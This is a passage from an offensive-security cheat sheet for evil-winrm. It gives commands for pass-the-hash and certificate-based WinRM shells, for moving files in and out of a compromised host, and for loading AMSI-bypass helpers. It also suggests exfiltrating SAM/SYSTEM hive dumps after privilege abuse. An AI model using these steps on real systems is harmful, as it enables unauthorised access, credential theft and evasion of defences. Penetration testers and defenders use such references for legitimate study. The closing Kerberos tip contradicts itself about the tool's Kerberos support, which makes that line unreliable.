Pass-the-hash into a WinRM shell instead of a password.
evil-winrm -i <target> -c cert.pem -k key.pem -S
Authenticate over WinRM’s SSL listener (port 5986) using a client certificate/private key instead of any password — -S selects SSL.
upload <local_path> <remote_path>
(inside the shell) Upload a file to the target.
download <remote_path> <local_path>
(inside the shell) Download a file from the target.
menu
(inside the shell) List loaded PowerShell helper functions (AMSI bypass, etc.).
Tips & Tricks
download/upload work over the existing WinRM channel — no need to stand up a separate SMB share or HTTP server just to move a file (e.g. pulling back SAM/SYSTEM hive dumps after a Active Directory - SeBackupPrivilege Abuse).
If NTLM auth is disabled on the target domain, evil-winrm has no built-in Kerberos support — use impacket-wmiexec/impacket-psexec with -k, or evil-winrm’s --realm/Kerberos ticket flags in newer versions instead.